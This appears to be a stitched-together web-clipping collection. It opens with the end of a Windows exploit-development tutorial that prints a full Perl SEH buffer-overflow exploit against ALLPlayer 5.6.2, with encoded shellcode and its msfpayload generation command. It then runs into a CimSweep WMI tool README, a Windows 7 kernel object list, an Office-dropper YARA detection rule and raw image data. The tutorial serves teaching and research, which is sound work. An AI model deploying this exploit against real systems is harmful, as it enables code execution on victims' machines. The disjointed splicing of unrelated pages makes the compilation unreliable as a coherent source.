12345678 | root@kali:~/softwarez/alpha2\# msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perl | perl -pe 's/\\\x\(\[0-9a-f\]\{2\}\)/chr hex $1/gie'\[\*\] x86/unicode\_mixed succeeded with size 518 \(iteration=1\) my $buf = "PPYAIAIAIAIAIA" ."IAIAIAIAIAIAIA" ."IAIAjXAQADAZAB" ....  
---|---  
Now that we have generated our shellcode, all we have to do is modify our
exploit by adding it along with the additional $junk2 buffer and everything
should work as planned. Here’s the final exploit script:

\#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Exploit Title: ALLPlayer 5.6.2 \(.m3u\) - SEH Buffer Overflow \(Unicode\) \# Date: 9-1-2014 \# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift \# Tested On: Windows 7 SP1 \# \# Credit to metacom for finding bug and publishing original POC \# - http://www.exploit-db.com/exploits/28855/ \# \# This exploit was created for a Unicode Windows Exploit Development Tutorial \# http://www.securitysift.com windows-exploit-development-part-7-unicode-buffer-overflows \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 5000; \# sets buffer size for consistent sized payload my $junk = "http://" . "\x41" x 303; \# offset to nseh my $nseh = "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \# 0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False \# unicode venetian alignment my $venalign = "\x47" x 2; \# venetian pad/align $venalign = $venalign . "\x56"; \# push esi $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x05\x19\x11"; \# add eax,0x11001900 $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x2d\x16\x11"; \# sub eax,0x11001600 \(net diff +300h\) $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret my $junk2 = "\x71" x 41; \# offset to $shellcode \# Unicode-friendly alpha-encoded calc.exe \(518 bytes\) \# msfpayload windows/exec cmd=calc R | \# msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perl my $shell = "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" . "\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" . "\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41\x5a\x41\x42" . "\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51" . "\x41\x49\x41\x68\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41" . "\x4a\x31\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51" . "\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x41" . "\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42" . "\x41\x42\x6b\x4d\x41\x47\x42\x39\x75\x34\x4a\x42\x6b\x4c" . "\x49\x58\x64\x49\x79\x70\x6d\x30\x6b\x50\x33\x30\x43\x59" . "\x6a\x45\x30\x31\x56\x72\x52\x44\x34\x4b\x51\x42\x4e\x50" . "\x34\x4b\x71\x42\x7a\x6c\x42\x6b\x6f\x62\x4c\x54\x62\x6b" . "\x72\x52\x4f\x38\x5a\x6f\x55\x67\x4d\x7a\x4d\x56\x4e\x51" . "\x49\x6f\x6c\x71\x69\x30\x44\x6c\x6f\x4c\x53\x31\x31\x6c" . "\x49\x72\x4e\x4c\x4d\x50\x77\x51\x46\x6f\x6c\x4d\x59\x71" . "\x35\x77\x4b\x32\x68\x70\x61\x42\x71\x47\x32\x6b\x6f\x62" . "\x4c\x50\x54\x4b\x50\x42\x4f\x4c\x6d\x31\x6a\x30\x52\x6b" . "\x6d\x70\x51\x68\x33\x55\x55\x70\x64\x34\x6f\x5a\x49\x71" . "\x56\x70\x72\x30\x42\x6b\x6e\x68\x6b\x68\x34\x4b\x70\x58" . "\x4f\x30\x79\x71\x57\x63\x68\x63\x4f\x4c\x71\x39\x34\x4b" . "\x4d\x64\x74\x4b\x39\x71\x38\x56\x6e\x51\x6b\x4f\x70\x31" . "\x79\x30\x46\x4c\x75\x71\x48\x4f\x4c\x4d\x59\x71\x48\x47" . "\x30\x38\x6b\x30\x52\x55\x6b\x44\x6d\x33\x63\x4d\x4b\x48" . "\x6d\x6b\x31\x6d\x6c\x64\x72\x55\x5a\x42\x30\x58\x34\x4b" . "\x71\x48\x6c\x64\x6d\x31\x38\x53\x61\x56\x74\x4b\x4a\x6c" . "\x6e\x6b\x42\x6b\x62\x38\x4b\x6c\x79\x71\x68\x53\x64\x4b" . "\x6b\x54\x32\x6b\x79\x71\x78\x50\x32\x69\x6e\x64\x4b\x74" . "\x4c\x64\x4f\x6b\x71\x4b\x63\x31\x52\x39\x4e\x7a\x52\x31" . "\x39\x6f\x77\x70\x32\x38\x61\x4f\x51\x4a\x32\x6b\x7a\x72" . "\x68\x6b\x64\x46\x71\x4d\x31\x5a\x5a\x61\x62\x6d\x64\x45" . "\x78\x39\x49\x70\x79\x70\x4d\x30\x4e\x70\x63\x38\x4c\x71" . "\x44\x4b\x52\x4f\x34\x47\x49\x6f\x36\x75\x37\x4b\x68\x70" . "\x74\x75\x56\x42\x50\x56\x32\x48\x37\x36\x64\x55\x35\x6d" . "\x35\x4d\x39\x6f\x49\x45\x6d\x6c\x59\x76\x73\x4c\x6c\x4a" . "\x31\x70\x59\x6b\x39\x50\x30\x75\x49\x75\x77\x4b\x6e\x67" . "\x5a\x73\x50\x72\x50\x6f\x32\x4a\x4b\x50\x70\x53\x39\x6f" . "\x5a\x35\x32\x43\x50\x61\x72\x4c\x52\x43\x6d\x30\x41\x41"; my $sploit = $junk.$nseh.$seh.$venalign.$junk2.$shell; \# assemble the exploit portion of the buffer my $fill = "\x47" x \($buffsize - length\($sploit\)\); \# fill remainder of buffer with junk my $buffer = $sploit.$fill; \# assemble the final buffer \# write the exploit buffer to file my $file = "allplayer\_unicodeseh.m3u"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889 | \#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: ALLPlayer 5.6.2 \(.m3u\) - SEH Buffer Overflow \(Unicode\)\# Date: 9-1-2014\# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Tested On: Windows 7 SP1\#\# Credit to metacom for finding bug and publishing original POC\# - http://www.exploit-db.com/exploits/28855/ \#\# This exploit was created for a Unicode Windows Exploit Development Tutorial\# http://www.securitysift.com windows-exploit-development-part-7-unicode-buffer-overflows\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 5000; \# sets buffer size for consistent sized payloadmy $junk = "http://" . "\x41" x 303; \# offset to nsehmy $nseh = "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \# 0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False \# unicode venetian alignmentmy $venalign = "\x47" x 2; \# venetian pad/align $venalign = $venalign . "\x56"; \# push esi $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x05\x19\x11"; \# add eax,0x11001900 $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x2d\x16\x11"; \# sub eax,0x11001600 \(net diff +300h\) $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret my $junk2 = "\x71" x 41; \# offset to $shellcode \# Unicode-friendly alpha-encoded calc.exe \(518 bytes\)\# msfpayload windows/exec cmd=calc R | \# msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perlmy $shell = "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" ."\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" ."\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41\x5a\x41\x42" ."\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51" ."\x41\x49\x41\x68\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41" ."\x4a\x31\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51" ."\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x41" ."\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42" ."\x41\x42\x6b\x4d\x41\x47\x42\x39\x75\x34\x4a\x42\x6b\x4c" ."\x49\x58\x64\x49\x79\x70\x6d\x30\x6b\x50\x33\x30\x43\x59" ."\x6a\x45\x30\x31\x56\x72\x52\x44\x34\x4b\x51\x42\x4e\x50" ."\x34\x4b\x71\x42\x7a\x6c\x42\x6b\x6f\x62\x4c\x54\x62\x6b" ."\x72\x52\x4f\x38\x5a\x6f\x55\x67\x4d\x7a\x4d\x56\x4e\x51" ."\x49\x6f\x6c\x71\x69\x30\x44\x6c\x6f\x4c\x53\x31\x31\x6c" ."\x49\x72\x4e\x4c\x4d\x50\x77\x51\x46\x6f\x6c\x4d\x59\x71" ."\x35\x77\x4b\x32\x68\x70\x61\x42\x71\x47\x32\x6b\x6f\x62" ."\x4c\x50\x54\x4b\x50\x42\x4f\x4c\x6d\x31\x6a\x30\x52\x6b" ."\x6d\x70\x51\x68\x33\x55\x55\x70\x64\x34\x6f\x5a\x49\x71" ."\x56\x70\x72\x30\x42\x6b\x6e\x68\x6b\x68\x34\x4b\x70\x58" ."\x4f\x30\x79\x71\x57\x63\x68\x63\x4f\x4c\x71\x39\x34\x4b" ."\x4d\x64\x74\x4b\x39\x71\x38\x56\x6e\x51\x6b\x4f\x70\x31" ."\x79\x30\x46\x4c\x75\x71\x48\x4f\x4c\x4d\x59\x71\x48\x47" ."\x30\x38\x6b\x30\x52\x55\x6b\x44\x6d\x33\x63\x4d\x4b\x48" ."\x6d\x6b\x31\x6d\x6c\x64\x72\x55\x5a\x42\x30\x58\x34\x4b" ."\x71\x48\x6c\x64\x6d\x31\x38\x53\x61\x56\x74\x4b\x4a\x6c" ."\x6e\x6b\x42\x6b\x62\x38\x4b\x6c\x79\x71\x68\x53\x64\x4b" ."\x6b\x54\x32\x6b\x79\x71\x78\x50\x32\x69\x6e\x64\x4b\x74" ."\x4c\x64\x4f\x6b\x71\x4b\x63\x31\x52\x39\x4e\x7a\x52\x31" ."\x39\x6f\x77\x70\x32\x38\x61\x4f\x51\x4a\x32\x6b\x7a\x72" ."\x68\x6b\x64\x46\x71\x4d\x31\x5a\x5a\x61\x62\x6d\x64\x45" ."\x78\x39\x49\x70\x79\x70\x4d\x30\x4e\x70\x63\x38\x4c\x71" ."\x44\x4b\x52\x4f\x34\x47\x49\x6f\x36\x75\x37\x4b\x68\x70" ."\x74\x75\x56\x42\x50\x56\x32\x48\x37\x36\x64\x55\x35\x6d" ."\x35\x4d\x39\x6f\x49\x45\x6d\x6c\x59\x76\x73\x4c\x6c\x4a" ."\x31\x70\x59\x6b\x39\x50\x30\x75\x49\x75\x77\x4b\x6e\x67" ."\x5a\x73\x50\x72\x50\x6f\x32\x4a\x4b\x50\x70\x53\x39\x6f" ."\x5a\x35\x32\x43\x50\x61\x72\x4c\x52\x43\x6d\x30\x41\x41"; my $sploit = $junk.$nseh.$seh.$venalign.$junk2.$shell; \# assemble the exploit portion of the buffermy $fill = "\x47" x \($buffsize - length\($sploit\)\); \# fill remainder of buffer with junkmy $buffer = $sploit.$fill; \# assemble the final buffer \# write the exploit buffer to filemy $file = "allplayer\_unicodeseh.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
And the results:

<img src='img/Temp2_9725.png' width='640' height='242' alt='win_exploit_7_35'
/>

Congrats, you’ve just successfully written two Unicode buffer overflow
exploits. Read on to see a couple of quick examples of how you may be able to
avoid Unicode altogether.

### Avoiding Unicode

There are times when writing a working Unicode exploit is too much trouble or
just isn’t possible because you can’t find the necessary Unicode-friendly
addresses. Although it may not happen often, you may be able to avoid Unicode
altogether by changing the format your input. Take for example, this alternate
BladeAPIMonitor exploit by b33f \(Ruben Boonen\). He found that if he
copy/pasted his buffer in Windows Notepad first, and then copied it into the
application input it would be processed by the as standard ANSI/multibyte
characters. If you followed along with my first Unicode exploit example you’ve
already downloaded the application, so feel to give it a try.

I came across a similar situation when I discovered a vulnerability in GOM
Player. The application stores Equalizer presets in the registry as
REG\_MULTI\_SZ values.

<img src='img/Temp2_9737.png' width='549' height='136' alt='win_exploit_7_47'
/>

The vulnerable version of GOM Player loads these values at run time but does
not perform any bounds checking so any of them could be used to trigger a
Unicode SEH Buffer Overflow \(as shown below\).

<img src='img/Temp2_9764.png' width='640' height='313' alt='win_exploit_7_48'
/>

However, what I found was that if changed the registry entry type to
REG\_BINARY, I could avoid the Unicode conversion and my buffer would be
processed as ANSI \(ASCII\).

<img src='img/Temp2_9739.png' width='640' height='150' alt='win_exploit_7_50'
/>

Here is the resulting stack:

<img src='img/Temp2_9726.png' width='465' height='321' alt='win_exploit_7_49'
/>All that I needed to do was have my exploit script create the buffer as a
binary string in a reg file. This meant instead of using the standard \xBB hex
format, I simply made every byte of the buffer comma delimited as follows:

my $shell = "db,cd,d9,74,24,f4,5f,..."

1 | my $shell = "db,cd,d9,74,24,f4,5f,..."  
---|---  
I won’t walk through the entire exploit, but feel free to check out the
previous link to download the application and try it out for yourself.

While avoiding Unicode may not always be possible, if you find yourself faced
with a seemingly impossible Unicode exploit, try experimenting with your
string formats to see if you can avoid the Unicode altogether.

### Conclusion

In Windows, you are typically dealing with either ANSI \(multibyte\) or
Unicode \(wide\) strings. Both ANSI and Unicode can represent ASCII
characters, though each use a different encoding approach — ANSI uses multiple
single and double-byte code pages and Unicode uses a consistent 2-byte
encoding. The two exploit examples were meant to demonstrate how to construct
a standard and SEH Unicode buffer overflow using encoded shellcode and
alternating “Venetian” offset instructions. We even did a crash course on
writing some \(very rudimentary\) shellcode to accomodate strict space
constraints. Finally, I provided two examples of situations where Unicode may
be avoided depending on how the buffer string is formatted. If you want to
review anything click here to return to the top.

I hope you found this post informative and useful. As always, if you have any
corrections, comments or questions, please feel free to leave them below — I
look forward to hearing from you. I’ll be working on the next installment in
this series as well as some other related posts in the coming weeks.

Until next time … – Mike

Follow @securitysift

Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# PowerShellMafia/CimSweep

**Created:**| _6/29/2017 3:46:39 PM_  
---|---  
**Updated:**| _6/29/2017 3:46:39 PM_  
**Author:**| __  
**Tags:**| __  
  

  

#### Master

<img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f35386a793961696537773661616330792f6272616e63682f6465763f7376673d74727565'
width='106' height='20' alt='Build status' />

#### Dev

<img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f35386a793961696537773661616330792f6272616e63682f6465763f7376673d74727565'
width='106' height='20' alt='Build status' />

# CimSweep

CimSweep is a suite of CIM/WMI-based tools that enable the ability to perform
incident response and hunting operations remotely across all versions of
Windows. CimSweep may also be used to engage in offensive reconnaisance
without the need to drop any payload to disk. Windows Management
Instrumentation has been installed and its respective service running by
default since Windows XP and Windows 2000 and is fully supported in the latest
versions of Windows including Windows 10, Nano Server, and Server 2016.

## Background

Agent-based defensive tools are extremely powerful but they also require
deployment of the agent to each system. While agent-based solutions absolutely
have a place in our industry, they tend to be very expensive and can be easily
detected/thwarted by determined attackers. CimSweep enables the acquisition of
time-sensitive data at scale all without needing to deploy an agent.

It is called CimSweep based upon the fact that it utilizes the extremely
powerful CIM cmdlets in PowerShell. CIM cmdlets support the WSMan protocol by
default but it may also fall back to using DCOM on systems that either cannot
support or do not have the Windows Remote Management \(WinRM\) service
enabled. More information on the CIM cmdlets may be found here:

  * Introduction to CIM Cmdlets
  * What is CIM and Why Should I Use It in PowerShell?

One of the greatest features of the CIM cmdlets is that they allow you to
establish a CIM session which can survive reboots. CIM sessions speed up
remote queries and they enable an analyst to establish a session once and then
can be passed around to any function that supports a -CimSession parameter -
which all CimSweep functions support by design.

## Requirements

#### Analyst system

  1. PowerShell version 3 or above is required. The CIM cmdlets were introduced in PSv3.
  2. Elevated credentials to the target hosts. By default, all remote WMI/CIM operations require credentials for users belonging to the Administrator's group.

#### Target hosts

  1. Any Windows OS dating back to Windows XP or Windows 2000.
  2. The WMI service \(winmgmt\) must be running. It is running by default.
  3. Host and network firewalls must allow remote WMI/CIM management ports through.

  * Connecting to WMI Remotely Starting with Windows Vista

  4. For systems where the WSMan protocol is desired, the WinRM service must be running. If PowerShell remoting is already enabled, the WinRM service will already be running. WinRM can be enabled locally with PowerShell or remotely in an enterprise with GPO.

  * Enable and configure Windows PowerShell Remoting using Group Policy
  * WSMan service configuration using domain GPO
  * WSMan Provider

CimSweep is comprised of two components: core functionality and domain
specific functionality.

## Core Functionality

At its core, CimSweep makes it easy to remotely obtain the following
information from any Windows operating system:

  * Registry keys, values, value types, and value content with optional recursion
  * Directory and file listing with optional recursion
  * Event log entries
  * Services
  * Processes

This core functionality was designed to facilitate the development of domain-
specific functionality for incident responders, hunt operators, or anyone else
needing to target information remotely over WMI.

## Domain-specific Functionality

Building upon the core set of functions in CimSweep, contributors can easily
write functions that enable them to obtain highly targeted information.
Examples of such information would include the following:

  * Attacker persistence artifacts: Run keys, start menu items, WMI persistence, etc.
  * Scan for presence of known bad artifacts: i.e. sweep for known bad files, known bad registry keys/values
  * Use you imagination\! CimSweep enables sweeping for a multitude of forensic artifacts. Consider tools like Sysinternals Autoruns and regripper. CimSweep enables contributors to reimplement these awesome tools all without requiring pushing any tools to a target system\!

## Usage

CimSweep is a PowerShell module imported using the Import-Module cmdlet. For
help on importing PowerShell modules, run ` Get-Help Import-Module -Full ` or
refer to Importing a PowerShell Module.

Once imported, you may see the exported functions by running ` Get-Command
-Module CimSweep `.

Detailed documentation and usage examples for each function can be found by
running ` Get-Help FunctionName -Full `. For example, for detailed help on
Get-CSDirectoryListing, run ` Get-Help Get-CSDirectoryListing -Full `.

While CimSweep functions work fine locally, it was designed to run on remote
systems using CIM sessions. The New-CimSession cmdlet is used to create CIM
sessions. For more information on establishing CIM sessions, this post is
recommended.

Here is an example of my common workflow when connecting to a couple machines
in my test lab:

[code]

    # Create a CIM session to my Nano Server VM.
    # It's listening on WinRM (port 5985) but I could validate
    # that the WinRM service is running with the following:
    Test-WSMan -ComputerName nanoserver
    
    $CimSession_Nano = New-CimSession -ComputerName nanoserver -Credential Administrator
    
    # Create a CIM session to my Windows XP VM.
    # This VM doesn't have the Windows Management Framework
    # installed so I'll need to revert to using DCOM.
    $SessionOption = New-CimSessionOption -Protocol Dcom
    $CimSession_Winxp = New-CimSession -ComputerName winxp -Credential Administrator -SessionOption $SessionOption
    
    # Now I can start running CimSweep commands remotely!
    Get-CSRegistryValue -Hive HKLM -SubKey SOFTWARE\Microsoft\Windows\CurrentVersion\Run -CimSession $CimSession_Nano, $CimSession_Winxp
[/code]

## Contributions and function design

I can't do this by myself\! I would love to get community contributions.

#### Contribution requirements

All of the following requirements will have an accompanying Pester test to
ensure compliance.

  1. All functions must have an OutputType attribute and an accompanying .OUTPUTS block in comment-based help. It is important to know the types of objects that a function outputs including with custom PowerShell objects. You can apply a type name to custom objects by including a PSTypeName property to each object. Custom object type names must start with CimSweep - e.g. CimSweep.RegistryKey.
  2. All functions must support a -CimSession parameter along with respective .PARAMETER documentation.
  3. All function names must have a "CS" noun prefix.
  4. All functions must contain a .SYNOPSIS help block.
  5. All functions must contain an author name in .SYNOPSIS.
  6. All functions must contain a BSD license clause in .SYNOPSIS.
  7. All functions must contain a .DESCRIPTION help block.
  8. All functions must contain a .PARAMETER block for each defined parameter.
  9. All functions must contain at lease one .EXAMPLE block.

#### Optional design considerations.

  1. Your function should include a Pester test\!\!\! How else can you be sure it works as designed and that it will be resiliant to refactoring? Without a Pester test, you'll just be left guessing as to whether or not your code will be stable in production.
  2. All non-core functions should utilize Write-Progress. A progress bar can come in very handy when running a sweep across 1000 systems.
  3. All error or verbose messages should include the computer name for the local or remote session. This is helpful when diagnosing issues on a large number of remote sessions.

#### Additional design considerations

  1. Make as few calls to CimSweep functions/CIM cmdlets as possible\! CimSweep functions must be scalable. Many of the core CimSweep functions have many parameters that can minimize WMI method calls so please utilize them. Also, if you find ways in which existing CimSweep functions can be more performant, please submit a pull request or an issue\!
  2. Always perform filtering prior to calling CimSweep functions/CIM cmdlets. In other words, when using CIM cmdlets, instead of filtering raw results, use the -Filter parameter to constrain WMI queries. Also, consider not returning full WMI objects if it makes sense to do so. The -Property parameter in Get-CimInstance is used to achieve this. For example, I've needed to obtain the Windows system and windows directory from Win32\_OperatingSystem. So rather than getting the entire WMI object, you can run the following: ` Get-CimInstance -ClassName Win32_OperatingSystem -Property SystemDirectory, WindowsDirectory `
  3. Never rely upon hard-coded paths. e.g. Don't assume that Windows\System32 is in C:. You can often obtain correct file paths from the registry or via other WMI classes. For example, the system directory can be obtained via the SystemDirectory property of the Win32\_OperatingSystem class. Another example: if you're wanting the path to a user's start menu folder, use the following registry key to obtain it: ` SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders `.
  4. Try to avoid using the -Recurse switch in Get-CSDirectoryListing and Get-CSRegistryKey. Functions should return high-fidelity information as quickly as possible. i.e. Don't cast a wide net.
  5. When obtaining information for user-specific registry keys/values, don't use the HKCU hive. Instead, use the HKU hive and iterate over each user SID. The Get-HKUSID helper function is designed to obtain user SIDs in the HKU hive.
  6. Consider that there are some WMI classes/methods that don't exist in certain operating systems. For example, the GetSecurityDescriptor method present in many WMI classes does not exist in Windows XP. Also, there is a rather lengthy list of classes not yet present in Nano Server. Please consider testing across many OS versions. Ideally, CimSweep should be agnostic to operating system version. If a class or method is required that may not be available in a particular OS, perform validation using Get-CimClass in your function.
  7. Don't write a CimSweep function if it's just a function wrapper for the equivalent of a one-liner. For example, if you want to get the configured time zone of a lot of systems, don't write a CimSweep function to accomplish that. Rather just run ` Get-CimInstance -ClassName Win32_TimeZone `. CimSweep is designed to supplement individual calls to the CIM cmdlets.

  

# Windows 7 Kernel Objects

**Created:**| _8/5/2013 9:30:06 AM_  
---|---  
**Updated:**| _8/5/2013 9:30:06 AM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

# **W** indows 7 Kernel Objects****

>
[code]

>     No**.** 1 Index(2)        Type
>     No**.** 2 Index(3)        Directory
>     No. 3     Index(4)        SymbolicLink
>     No**.** 4 Index(5)        Token
>     No. 5     Index(6)        Job
>     No**.** 6 Index(7)        Process
>     No. 7     Index(8)        Thread
>     No. 8     Index(9)        UserApcReserve
>     No. 9     Index(10)       IoCompletionReserve
>     No**.** 10        Index(11)       DebugObject
>     No.11     Index(12)       Event
>     No.12     Index(13)       EventPair
>     No.13     Index(14)       Mutant
>     No**.** 14        Index(15)       Callback
>     No.15     Index(16)       Semaphore
>     No.16     Index(17)       Timer
>     No.17     Index(18)       Profile
>     No**.** 18        Index(19)       KeyedEvent
>     No.19     Index(20)       WindowStation
>     No**.** 20        Index(21)       Desktop
>     No.21     Index(22)       TpWorkerFactory
>     No**.** 22        Index(23)       Adapter
>     No.23     Index(24)       Controller
>     No.24     Index(25)       Device
>     No.25     Index(26)       Driver
>     No**.** 26        Index(27)       IoCompletion
>     No.27     Index(28)       File
>     No.28     Index(29)       TmTm
>     No.29     Index(30)       TmTx
>     No**.** 30        Index(31)       TmRm
>     No.31     Index(32)       TmEn
>     No.32     Index(33)       Section
>     No.33     Index(34)       Session
>     No**.** 34        Index(35)       Key
>     No.35     Index(36)       ALPC Port
>     No.36     Index(37)       PowerRequest
>     No.37     Index(38)       WmiGuid
>     No**.** 38        Index(39)       EtwRegistration
>     No.39     Index(40)       EtwConsumer
>     No**.** 40        Index(41)       FilterConnectionPort
>     No.41     Index(42)       FilterCommunicationPort
>     No**.** 42        Index(43)       PcwObject
>  
[/code]

Copyright©Takashi Toyota 2004- 2013  
It is 2013-08-05 today**.** ****

# Neo23x0/signature-base

**Created:**| _9/23/2018 8:42:02 AM_  
---|---  
**Updated:**| _9/23/2018 8:42:02 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis office_  
  

  

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

Find file  Copy path

signature-base / yara / **gen\_susp\_office\_dropper.yar**

f298427  9 days ago

<img src='122b6e0db1e3f38320d085b74568d5f8' width='20' height='20' /> Florian
Roth Generic rule: Suspicious office dropper strings

**0** contributors

Raw Blame History

Open this file in GitHub Desktop

17 lines \(15 sloc\)  567 Bytes

1 |  rule SUSP\_Office\_Dropper\_Strings \{  
---|---  
2 |  meta:  
3 |  description = "Detects Office droppers that include a notice to enable active content"  
4 |  author = "Florian Roth"  
5 |  reference = "Internal Research"  
6 |  date = "2018-09-13"  
7 |  strings:  
8 |  $a1 = "\_VBA\_PROJECT" fullword wide  
9 |   
10 |  $s1 = "click enable editing" fullword ascii  
11 |  $s2 = "click enable content" fullword ascii  
12 |  $s3 = "\"Enable Editing\"" fullword ascii  
13 |  $s4 = "\"Enable Content\"" fullword ascii  
14 |  condition:  
15 |  uint16\(0\) == 0xcfd0 and filesize < 500KB and $a1 and 1 of \($s\*\)  
16 |  \}  
  

/9j/4AAQSkZJRgABAQEAYABgAAD//gA7Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcgSlBFRyB2NjIpLCBxdWFsaXR5ID0gOTAK/9sAQwADAgID
AgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4LCxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8AAEQgAjACMAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkK
C//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RV
VldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX2
9/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1Lw
FWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2
t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/NPxhPcPeB9wVT8uEGPpR4K1aTSNTtry3BN3azLMvOAQOxrO
1RJm2TTsSXxwrbu3Wur8CeKtG0I2ijw9Y3uoPNtlv9TkebYD02QgiP671fPtVlnW6x8Q/FHiR5pBbpFbbSym6kAAX15IJH0FclrujXh2Nquol5WAcQxKY1UE
